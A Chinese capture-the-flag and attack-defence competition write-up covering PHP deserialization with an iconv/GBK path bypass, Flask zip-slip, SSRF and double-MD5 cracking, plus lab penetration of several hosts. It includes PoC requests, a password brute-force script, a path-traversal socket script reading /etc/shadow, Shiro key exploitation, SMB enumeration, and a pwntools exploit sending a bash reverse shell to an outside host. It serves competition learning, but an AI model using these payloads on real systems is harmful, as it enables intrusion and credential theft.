前言
NISA-325Spark 南部赛区 位 11
本地 35b 大模型首战,用于代码审计完全足够了
MediaDrive
直接把整个项目丢给 agent 自己分析了,挑主要的问题出来:
反序列化:index.php, download.php, preview.php, profile.php 中的 @unserialize($_COOKIE['user'])
路径遍历 + iconv 解析 + 任意文件读取:preview.php
$rawPath = $user->basePath . $f;
if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
http_response_code(403);
echo "Access denied";
exit;
}
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
if ($convertedPath === false || $convertedPath === "") {
http_response_code(500);
echo "Conversion failed";
exit;
}
$content = @file_get_contents($convertedPath);
User.php,这些都是我们可控的
class User {
public string $name = "guest";
public string $encoding = "UTF-8";
public string $basePath = "/var/www/html/uploads/";
public function __construct(string $name = "guest") {
$this->name = $name;
}
}
Attack
任意文件读不给 php 伪协议,不然直接打 CVE-2024-2961 了(
正则这么写那 flag 应该就是 /flag 了,根据已知信息猜测可以利用 GBK 和 UTF-8 的编码差异进行绕过,遂直接 fuzz 可用字符寻找解析差异
<?php
class User
{
public string $name = "guest";
public string $encoding = "GBK";
public string $basePath = "file://";
public function __construct(string $name = "guest")
{
$this->name = $name;
}
}
$a = new User();
echo urlencode(serialize($a));
$f = "etc/" . urldecode("%ff") . "passwd";
$user = unserialize(serialize($a));
$rawPath = $user->basePath . $f;
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
echo $convertedPath;

poc:
GET /preview.php?f=/f%fflag HTTP/1.1
Host: 10.11.253.76:27133
Pragma: no-cache
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A3%3A%22GBK%22%3Bs%3A8%3A%22basePath%22%3Bs%3A7%3A%22file%3A%2F%2F%22%3B%7D
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache

Defender
不知道,ai 自己修的(
preview.php
<?php
declare(strict_types=1);
require_once __DIR__ . "/lib/User.php";
require_once __DIR__ . "/lib/Util.php";
$user = null;
if (isset($_COOKIE['user'])) {
$user = @unserialize($_COOKIE['user']);
}
if (!$user instanceof User) {
$user = new User("guest");
setcookie("user", serialize($user), time() + 86400, "/");
}
$f = (string)($_GET['f'] ?? "");
if ($f === "") {
http_response_code(400);
echo "Missing parameter: f";
exit;
}
$rawPath = $user->basePath . $f;
$realPath = realpath($rawPath);
$uploadsReal = realpath($user->basePath);
if ($realPath === false || $uploadsReal === false) {
http_response_code(404);
echo "Not found";
exit;
}
if (strpos($realPath, $uploadsReal) !== 0) {
http_response_code(403);
echo "Access denied";
exit;
}
if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
http_response_code(403);
echo "Access denied";
exit;
}
try {
$convertedPath = iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
if ($convertedPath === false) {
throw new Exception("Invalid encoding");
}
} catch (Exception $e) {
http_response_code(500);
echo "Conversion failed";
exit;
}
$content = @file_get_contents($convertedPath);
if ($content === false) {
http_response_code(404);
echo "Not found";
exit;
}
$displayRaw = $rawPath;
$displayConv = $convertedPath;
$isText = true;
for ($i = 0; $i < min(strlen($content), 512); $i++) {
$c = ord($content[$i]);
if ($c === 0) {
$isText = false;
break;
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Preview · MediaDrive</title>
<link rel="stylesheet" href="/assets/style.css" />
</head>
<body>
<div class="app">
<header class="topbar">
<div class="brand">
<div class="dot red"></div>
<div class="dot yellow"></div>
<div class="dot green"></div>
<a class="brand-title link" href="/">MediaDrive</a>
<span class="badge">Preview</span>
</div>
<div class="actions">
<a class="btn ghost" href="/profile.php">Preferences</a>
</div>
</header>
<main class="content">
<section class="card">
<div class="card-head">
<h2>File Preview</h2>
<p class="muted">Converted paths are shown for debugging.</p>
</div>
<div class="kv">
<div><span class="k">User</span><span class="v"><?= Util::h($user->name) ?></span></div>
<div><span class="k">Encoding</span><span class="v mono"><?= Util::h($user->encoding) ?></span></div>
<div><span class="k">Raw path</span><span class="v mono"><?= Util::h($displayRaw) ?></span></div>
<div><span class="k">Converted</span><span class="v mono"><?= Util::h($displayConv) ?></span></div>
</div>
<div class="row-actions">
<a class="btn ghost" href="/">Back</a>
<a class="btn" href="/download.php?f=<?= urlencode($f) ?>">Download</a>
</div>
<div class="preview">
<?php if ($isText): ?>
<pre><?= Util::h($content) ?></pre>
<?php else: ?>
<pre class="mono"><?=
Util::h(bin2hex(substr($content, 0, 2048)))
?></pre>
<div class="hint">Binary preview (hex, first 2KB)</div>
<?php endif; ?>
</div>
</section>
</main>
<footer class="footer">
<span class="muted">MediaDrive · Internal tool</span>
<a class="muted" href="/health.php">health</a>
</footer>
</div>
</body>
</html>
Util.php
<?php
declare(strict_types=1);
final class Util
{
public static function h(string $s): string
{
return htmlspecialchars($s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
public static function listUploads(string $dir): array
{
$out = [];
if (!is_dir($dir)) return $out;
$items = scandir($dir);
if ($items === false) return $out;
foreach ($items as $f) {
if ($f === '.' || $f === '..') continue;
$path = $dir . DIRECTORY_SEPARATOR . $f;
if (is_file($path)) {
$out[] = [
'name' => $f,
'size' => filesize($path) ?: 0,
'mtime' => filemtime($path) ?: time(),
];
}
}
usort($out, fn($a, $b) => $b['mtime'] <=> $a['mtime']);
return $out;
}
public static function niceSize(int $bytes): string
{
$units = ['B', 'KB', 'MB', 'GB'];
$i = 0;
$v = (float)$bytes;
while ($v >= 1024 && $i < count($units) - 1) {
$v /= 1024;
$i++;
}
return sprintf($i === 0 ? "%d %s" : "%.1f %s", $v, $units[$i]);
}
public static function safeUploadName(string $name): string
{
$name = str_replace(["\0", "\\", "/"], "", $name);
if (strpos($name, "..") !== false || trim($name) === "") {
return "file_" . bin2hex(random_bytes(4));
}
return $name;
}
private static function getAllowedUploadExtensions(): array
{
return [
'txt',
'pdf',
'doc',
'docx',
'rtf',
'odt',
'xls',
'xlsx',
'csv',
'ppt',
'pptx',
'jpg',
'jpeg',
'png',
'gif',
'webp',
'bmp',
];
}
public static function isAllowedUploadExtension(string $name): bool
{
$parts = explode('.', $name);
if (count($parts) < 2) {
return false;
}
$ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if ($ext === '') {
return false;
}
return in_array($ext, self::getAllowedUploadExtensions(), true);
}
}
easy_time
审计结果:
zipslip:
def safe_upload(zip_path: Path, dest_dir: Path) -> list[str]:
with zipfile.ZipFile(zip_path, 'r') as z:
for info in z.infolist():
target = os.path.join(dest_dir, info.filename)
if info.is_dir():
os.makedirs(target, exist_ok=True)
else:
os.makedirs(os.path.dirname(target), exist_ok=True)
with open(target, 'wb') as f:
f.write(z.read(info.filename))
ssrf:
@app.route('/about', methods=['GET', 'POST'])
@login_required
def about():
user = flask.request.cookies.get('user')
conn = db()
current = conn.execute('SELECT * FROM users WHERE username=?',
(user, )).fetchone()
about_text = current['about'] if current else ''
avatar_local = current['avatar_local'] if current else ''
avatar_url = current['avatar_url'] if current else ''
if flask.request.method == 'POST':
about_text = flask.request.form.get('about', '')
avatar_url = flask.request.form.get('avatar_url', '')
upload = flask.request.files.get('avatar_file')
if upload and upload.filename:
raw = upload.read()
upload.seek(0)
kind = sniff_image_type(raw)
if kind not in {'png', 'jpeg', 'gif', 'webp'}:
conn.close()
return (
flask.render_template(
'about.html',
user=user,
about=about_text,
avatar_local=avatar_local,
avatar_url=avatar_url,
remote_info=fetch_remote_avatar_info(avatar_url),
error='头像文件必须是图片(png/jpg/gif/webp)',
),
400,
)
def fetch_remote_avatar_info(url: str):
if not url:
return None
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in {"http", "https"}:
return None
if not parsed.hostname:
return None
req = urllib.request.Request(url, method="GET", headers={"User-Agent": "question-app/1.0"})
try:
with urllib.request.urlopen(req, timeout=3) as resp:
content = resp.read()
return {
"content_snippet": content,
"status": getattr(resp, "status", None),
"content_type": resp.headers.get("Content-Type", ""),
"content_length": resp.headers.get("Content-Length", ""),
}
except Exception:
return None
弱密码哈希:
@app.route('/login', methods=['GET', 'POST'])
def login():
if flask.request.method == 'POST':
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')
h1 = hashlib.md5(password.encode('utf-8')).hexdigest()
h2 = hashlib.md5(h1.encode('utf-8')).hexdigest()
next_url = flask.request.args.get("next") or flask.url_for("dashboard")
if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde":
resp = flask.make_response(flask.redirect(next_url))
resp.set_cookie('visited', 'yes', httponly=True, samesite='Lax')
resp.set_cookie('user', username, httponly=True, samesite='Lax')
return resp
Attack
首先要爆破出双层密码,当然可以直接用 cookie user=admin, visited=yes 绕过
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
弱密码爆破脚本
目标哈希:7022cd14c42ff272619d6beacdc9ffde
哈希算法:MD5(MD5(password))
"""
import hashlib
import itertools
import string
# 目标哈希
TARGET_HASH = "7022cd14c42ff272619d6beacdc9ffde"
def md5_hash(text):
"""单次 MD5 哈希"""
return hashlib.md5(text.encode('utf-8')).hexdigest()
def double_md5(password):
"""双重 MD5 哈希:MD5(MD5(password))"""
h1 = md5_hash(password)
h2 = md5_hash(h1)
return h2
def crack_password():
"""爆破密码"""
print("=" * 60)
print("弱密码爆破工具")
print(f"目标哈希:{TARGET_HASH}")
print("=" * 60)
# 常见弱密码列表
common_passwords = [
"admin",
"password",
"123456",
"12345678",
"123456789",
"password123",
"admin123",
"root",
"1234567",
"qwerty",
"letmein",
"welcome",
"monkey",
"dragon",
"master",
"login",
"abc123",
"111111",
"000000",
"pass",
"test",
"user",
"guest",
"secret",
"admin1",
"admin1234",
"1234567890",
"12345678901234",
"qazwsx",
"1qaz2wsx",
"zxcvbn",
"1qaz@WSX",
"asdfgh",
"qweasd",
]
print("\n[1] 尝试常见弱密码...")
for pwd in common_passwords:
result = double_md5(pwd)
if result == TARGET_HASH:
print(f"✓ 找到密码:{pwd}")
print(f" MD5(password) = {md5_hash(pwd)}")
print(f" MD5(MD5(password)) = {result}")
return pwd
print("[1] 未找到,尝试更长的组合...")
# 尝试 4-8 位数字组合
print("[2] 尝试数字组合...")
for length in range(4, 9):
for nums in itertools.product(string.digits, repeat=length):
pwd = "".join(nums)
result = double_md5(pwd)
if result == TARGET_HASH:
print(f"✓ 找到密码:{pwd}")
return pwd
# 尝试字母数字组合(较短)
print("[3] 尝试字母数字组合...")
chars = string.ascii_letters + string.digits
for length in range(4, 7):
for combo in itertools.product(chars, repeat=length):
pwd = "".join(combo)
result = double_md5(pwd)
if result == TARGET_HASH:
print(f"✓ 找到密码:{pwd}")
return pwd
print("\n[!] 未找到匹配的密码")
print(" 可能密码不在上述列表中,需要使用更多字典或 GPU 爆破")
return None
if __name__ == "__main__":
crack_password()
得到密码 secret
然后可以在 /plugin/upload 上传恶意模板覆盖 templates 下的模板,实现 rce,也可以写 php 马到 /var/www/html 下
然后在 /about 通过 ssrf 访问内网 80 端口的 php 获取结果
flag 在 /tmp/123123123_flag
Defender(Failed)
您已耗尽所有免费次数(
作为一个 python 服务就又涉及到一个大问题,如何在 AWDP 缺少靶机自身信息的情况下进行修复
幸运的是这里附件信息给的足够多
supervisord.conf
[supervisord]
nodaemon=true
loglevel=info
logfile=/dev/null
pidfile=/tmp/supervisord.pid
[program:apache]
command=/usr/sbin/apache2ctl -D FOREGROUND
autostart=true
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
[program:flask]
command=python3 /app/index.py
directory=/app
autostart=true
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
这里是使用 supervisord 进行进程管理的,所以重启进程进行修改轻而易举
#!/bin/bash
mv index.py /app/index.py
supervisorctl stop flask
supervisorctl reread 2>/dev/null || true
supervisorctl update 2>/dev/null || true
supervisorctl start flask 2>/dev/null || true
意识到这点测试完脚本正常运行的时候已经用掉了 8 次机会,对着 zipslip 修了两次依旧被打穿就没下文了
看 0RAYS 的师傅是修改 secret_key,然后替换 cookie 字段名,zipslip 直接换成 safe_extract_zip 处理
因为 supervisord 会自动重启,所以直接 pkill 也是可行的(不能 pkill python3 进程,因为 supervisord 也是 python3 起的)
#!/bin/bash
mv index.py /app/index.py
pkill -f "/app/index.py"
IntraBadge(Unsolved)
pkill 了再执行启动服务异常又是 hyw 呢
wso2(Unsolved)
赛前一天提供的附件就能看到名字,但是卧槽这个怎么用,入口文件在哪?
? 什么叫把 flag 改了就修过了,什么叫能在 fix 的时候反弹 shell 拿 flag 交 attack
渗透
isw1(pico server)
10.11.162.51
[*] live Hosts num: 1
10.11.162.51: [22 80 8000]
[*] alive ports len is: 3
[*] start vulscan
[*] WebTitle http://10.11.162.51 code:200 len:1025 title:Pico HTTP server
[*] WebTitle http://10.11.162.51:8000 code:404 len:39 title:None
[+] PocScan http://10.11.162.51 poc-yaml-uwsgi-cve-2018-7490
8000 端口一个 /restart 用于重启 80 端口的服务,后面突然反应过来这个是为了防止 pwn 坏掉设置的
80 端口是一个 simplehttp,响应没有 CR 头,导致 yakit 和 thunder client 报废了,直接写 socket 接受包(burpsuite 不受影响)
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('10.11.162.51', 80))
sock.sendall(
b"GET /../../../../../../../../../../../../../etc/shadow HTTP/1.1\r\nHost: 10.11.162.51\r\n\r\n"
)
# 直接读取原始字节,不进行 HTTP 解析
try:
data = sock.recv(4096)
# 此时 data 是原始乱码或文本,你需要自己处理
# 如果服务器返回了非法的 HTTP 头,你可以尝试用字符串分割手动提取内容
text = data.decode('utf-8', errors='ignore')
print(text)
except Exception as e:
print("连接失败:", e)
finally:
sock.close()
读取 /etc/shadow
root:$6$sqG18STD$4WTSFLekF5.slU7LFMfhzDdaWyAPWu1g8W7PZKXaOAAlkCBpcavS2HErsxP1xCEltAtxEweIVHFIf3BO5MH3z.:20473:0:99999:7:::
john 爆破一小时无果
访问 /proc/self/cmdline,得到当前进程 /root/pico/server 80
dump server 这个 elf 下来,观察一下应该是个 pwn 题,再 dump 个 /proc/self/maps 和 libc 下来给 pwn 手研究
花了一小时没研究出来,看别的师傅是在 sprintf 打栈溢出然后栈迁移到堆,执行 rop 写 ssh 公钥
还有取证大手子直接 dump 了 /dev/vda3,成磁盘取证了
isw2(shiro)
外网 - 192.168.45.50
10.11.162.53
[*] live Hosts num: 1
10.11.162.53: [22 111 8080 12345]
[*] alive ports len is: 4
[*] start vulscan
已完成 1/4 [-] webtitle http://10.11.162.53:111 Get "http://10.11.162.53:111": read tcp 10.11.123.242:61167->10.11.162.53:111: read: connection reset by peer
[*] WebTitle http://10.11.162.53:8080 code:200 len:794 title:hello world
已完成 2/4 [-] webtitle https://10.11.162.53:12345 Get "https://10.11.162.53:12345": EOF
[+] PocScan http://10.11.162.53:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
shiroattack 打内存马
flag 在根目录
提权(Failed)
(tomcat:/tmp) $ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/chage
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/bin/crontab
/usr/bin/pkexec
/usr/bin/passwd
/usr/sbin/unix_chkpwd
/usr/sbin/pam_timestamp_check
/usr/sbin/usernetctl
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
(tomcat:/tmp) $ getcap -r / 2>/dev/null
/usr/bin/newgidmap = cap_setgid+ep
/usr/bin/newuidmap = cap_setuid+ep
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
卧槽那么大的一个 pkexec 我没去提权
内网信息收集
[*] start_Live_scan
{icmp} 192.168.45.2 up
{icmp} 192.168.45.50 up
{icmp} 192.168.45.100 up
[*] live Hosts num: 3
192.168.45.2: [53]
192.168.45.50: [22 111 8080 12345]
192.168.45.100: [22 53 88 111 135 139 389 445 464 636 2049 3268 3269 12345 20048 45413 49152 49153 49154 53027]
[*] WebTitle http://192.168.45.50:8080 code:200 len:794 title:hello world
[+] PocScan http://192.168.45.50:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
SRV - 192.168.45.100
445
smb 枚举用户
❯ proxychains4 -q cme smb 192.168.45.100 --users
SMB 192.168.45.100 445 SRV [*] Windows 6.1 Build 0 x32 (name:SRV) (domain:core.local) (signing:True) (SMBv1:False)
SMB 192.168.45.100 445 SRV [*] Trying to dump local users with SAMRPC protocol
SMB 192.168.45.100 445 SRV [+] Enumerated domain user(s)
SMB 192.168.45.100 445 SRV core.local\Administrator Built-in account for administering the computer/domain
SMB 192.168.45.100 445 SRV core.local\Guest Built-in account for guest access to the computer/domain
SMB 192.168.45.100 445 SRV core.local\krbtgt Key Distribution Center Service Account
SMB 192.168.45.100 445 SRV core.local\flag flag{a9f6bba6e4d62a9a4a5a0694141ebe79}
得到 flag 和域 core.local
12345(Failed)
这个明显是预留了一个后门端口与.50 的 12345 端口通信,但是我查进程没找到
因为是在 /root 目录下,所以前面提权完之后可以在 /root 下找到一个 agent 服务
逆向,然后写出 exp:
from pwn import *
context(log_level = 'debug', os = 'linux', arch = 'amd64')
io = remote('192.168.45.100', 12345)
io.send(b"RCE_AUTH_2026")
sleep(2)
io.sendline(b"bash -i >& /dev/tcp/192.168.45.50/4444 0>&1")
sleep(1)
exit(0)
弹 shell 然后上线即可
isw(ASP)
10.11.162.52
[*] live Hosts num: 1
10.11.162.52: [80 135 139 445 3389 5985 47001 49664 49665 49666 49667 49668 49669 49670 62831]
[*] alive ports len is: 15
[*] start vulscan
[NetInfo]
[*] 10.11.162.52
[->] SRVDIST02
[->] 10.11.162.52
[->] 10.26.30.8
[*] WebTitle http://10.11.162.52:5985 code:404 len:315 title:Not Found
[*] WebTitle http://10.11.162.52:47001 code:404 len:315 title:Not Found
[*] WebTitle http://10.11.162.52 code:200 len:953 title:10.11.162.52 - /
已完成 5/15 [-] webtitle http://10.11.162.52:49670 Get "http://10.11.162.52:49670": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
已完成 5/15 [-] webtitle http://10.11.162.52:62831 Get "http://10.11.162.52:62831": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
已完成 5/15 [-] webtitle http://10.11.162.52:49666 Get "http://10.11.162.52:49666": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
已完成 8/15 [-] webtitle http://10.11.162.52:49664 Get "http://10.11.162.52:49664": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
已完成 9/15 [-] webtitle http://10.11.162.52:49668 Get "http://10.11.162.52:49668": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
已完成 10/15 [-] webtitle http://10.11.162.52:49667 Get "http://10.11.162.52:49667": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
已完成 11/15 [-] webtitle http://10.11.162.52:49665 Get "http://10.11.162.52:49665": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
已完成 11/15 [-] webtitle http://10.11.162.52:49669 Get "http://10.11.162.52:49669": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
80 端口可以下载一个 WatchAgent,之前阿里云 ctf 中出现过给 pdb 和 exe 写 rpc 的操作,但是我没复现,不会搞(
5985 端口有 /wsman,POST 访问 401
HTTP/1.1 401
Server: Microsoft-HTTPAPI/2.0
WWW-Authenticate: Negotiate
Date: Sun, 22 Mar 2026 23:15:07 GMT
Connection: close